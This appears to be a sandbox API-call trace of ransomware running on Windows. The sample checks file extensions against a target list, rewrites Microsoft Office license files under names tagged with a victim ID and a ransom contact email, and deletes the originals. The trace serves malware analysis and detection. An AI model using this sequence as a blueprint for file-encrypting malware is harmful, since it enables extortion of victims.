	[0183.649] lstrlenW (lpString=".7z") returned 3
	[0183.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.649] lstrlenW (lpString=".dbf") returned 4
	[0183.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.649] lstrlenW (lpString=".1cd") returned 4
	[0183.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.649] lstrlenW (lpString=".jpg") returned 4
	[0183.649] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.649] lstrlenW (lpString=".doc") returned 4
	[0183.649] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString=".docx") returned 5
	[0183.649] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.649] lstrlenW (lpString=".pdf") returned 4
	[0183.649] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString=".xls") returned 4
	[0183.649] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.649] lstrlenW (lpString=".xlsx") returned 5
	[0183.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.650] lstrlenW (lpString=".ppt") returned 4
	[0183.650] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.650] lstrlenW (lpString=".zip") returned 4
	[0183.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".rar") returned 4
	[0183.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".bz2") returned 4
	[0183.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString=".7z") returned 3
	[0183.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.650] lstrlenW (lpString=".dbf") returned 4
	[0183.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.650] lstrlenW (lpString=".1cd") returned 4
	[0183.650] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82
	[0183.650] lstrlenW (lpString=".jpg") returned 4
	[0183.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.650] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.650] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35
	[0183.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.651] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11621) returned 1
	[0183.652] CloseHandle (hObject=0x538) returned 1
	[0183.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220
	[0183.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.652] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.652] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.653] GetLastError () returned 0x0
	[0183.653] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0183.655] WriteFile (in: hFile=0x55c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0183.657] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.657] WriteFile (in: hFile=0x55c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0183.657] SetEndOfFile (hFile=0x55c) returned 1
	[0183.657] CloseHandle (hObject=0x55c) returned 1
	[0183.657] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.657] SetEndOfFile (hFile=0x538) returned 1
	[0183.661] CloseHandle (hObject=0x538) returned 1
	[0183.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1
	[0183.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.664] lstrlenW (lpString=".doc") returned 4
	[0183.664] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString=".docx") returned 5
	[0183.664] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.664] lstrlenW (lpString=".pdf") returned 4
	[0183.664] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString=".xls") returned 4
	[0183.664] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString=".xlsx") returned 5
	[0183.664] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.664] lstrlenW (lpString=".ppt") returned 4
	[0183.664] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.664] lstrlenW (lpString=".zip") returned 4
	[0183.664] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString=".rar") returned 4
	[0183.664] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString=".bz2") returned 4
	[0183.664] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.664] lstrlenW (lpString=".7z") returned 3
	[0183.664] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.664] lstrlenW (lpString=".dbf") returned 4
	[0183.665] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.665] lstrlenW (lpString=".1cd") returned 4
	[0183.665] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.665] lstrlenW (lpString=".jpg") returned 4
	[0183.665] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.665] lstrlenW (lpString=".doc") returned 4
	[0183.665] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".docx") returned 5
	[0183.665] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.665] lstrlenW (lpString=".pdf") returned 4
	[0183.665] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".xls") returned 4
	[0183.665] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString=".xlsx") returned 5
	[0183.665] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.665] lstrlenW (lpString=".ppt") returned 4
	[0183.665] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.665] lstrlenW (lpString=".zip") returned 4
	[0183.665] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".rar") returned 4
	[0183.666] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".bz2") returned 4
	[0183.666] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString=".7z") returned 3
	[0183.666] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.666] lstrlenW (lpString=".dbf") returned 4
	[0183.666] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.666] lstrlenW (lpString=".1cd") returned 4
	[0183.666] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0183.666] lstrlenW (lpString=".jpg") returned 4
	[0183.666] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.666] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.666] lstrlenW (lpString="MondoR_KMS_Automation-ul.xrm-ms") returned 31
	[0183.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.668] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=9613) returned 1
	[0183.668] CloseHandle (hObject=0x538) returned 1
	[0183.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 0x220
	[0183.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0183.669] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.669] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0183.670] GetLastError () returned 0x0
	[0183.670] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x258d, lpOverlapped=0x0) returned 1
	[0183.871] WriteFile (in: hFile=0x55c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0183.872] ReadFile (in: hFile=0x538, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.872] WriteFile (in: hFile=0x55c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x112, lpOverlapped=0x0) returned 1
	[0183.872] SetEndOfFile (hFile=0x55c) returned 1
	[0183.872] CloseHandle (hObject=0x55c) returned 1
	[0183.872] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.872] SetEndOfFile (hFile=0x538) returned 1
	[0183.875] CloseHandle (hObject=0x538) returned 1
	[0183.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms")) returned 1
	[0183.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.993] lstrlenW (lpString=".doc") returned 4
	[0183.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString=".docx") returned 5
	[0183.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.993] lstrlenW (lpString=".pdf") returned 4
	[0183.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString=".xls") returned 4
	[0183.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString=".xlsx") returned 5
	[0183.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.993] lstrlenW (lpString=".ppt") returned 4
	[0183.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.993] lstrlenW (lpString=".zip") returned 4
	[0183.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString=".rar") returned 4
	[0183.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString=".bz2") returned 4
	[0183.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.993] lstrlenW (lpString=".7z") returned 3
	[0183.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.993] lstrlenW (lpString=".dbf") returned 4
	[0183.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString=".1cd") returned 4
	[0183.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString=".jpg") returned 4
	[0183.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString=".doc") returned 4
	[0183.994] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString=".docx") returned 5
	[0183.994] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.994] lstrlenW (lpString=".pdf") returned 4
	[0183.994] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString=".xls") returned 4
	[0183.994] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString=".xlsx") returned 5
	[0183.994] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.994] lstrlenW (lpString=".ppt") returned 4
	[0183.994] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString=".zip") returned 4
	[0183.994] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString=".rar") returned 4
	[0183.994] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString=".bz2") returned 4
	[0183.994] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString=".7z") returned 3
	[0183.994] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString=".dbf") returned 4
	[0183.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.994] lstrlenW (lpString=".1cd") returned 4
	[0183.995] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 81
	[0183.995] lstrlenW (lpString=".jpg") returned 4
	[0183.995] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.995] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.995] lstrlenW (lpString="MondoR_Subscription-ul-oob.xrm-ms") returned 33
	[0183.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0183.996] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11612) returned 1
	[0183.996] CloseHandle (hObject=0x540) returned 1
	[0183.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 0x220
	[0183.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0183.997] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.997] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0183.998] GetLastError () returned 0x0
	[0183.998] ReadFile (in: hFile=0x540, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2d5c, lpOverlapped=0x0) returned 1
	[0183.999] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0184.001] ReadFile (in: hFile=0x540, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.001] WriteFile (in: hFile=0x520, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x116, lpOverlapped=0x0) returned 1
	[0184.001] SetEndOfFile (hFile=0x520) returned 1
	[0184.001] CloseHandle (hObject=0x520) returned 1
	[0184.001] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.001] SetEndOfFile (hFile=0x540) returned 1
	[0184.004] CloseHandle (hObject=0x540) returned 1
	[0184.004] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0184.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-ul-oob.xrm-ms")) returned 1
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-ul-oob.xrm-ms") returned 83
	[0184.006] lstrlenW (lpString=".doc") returned 4
	[0184.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0184.006] lstrlenW (lpString=".docx") returned 5
	[0184.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0184.006] lstrlenW (lpString=".pdf") returned 4
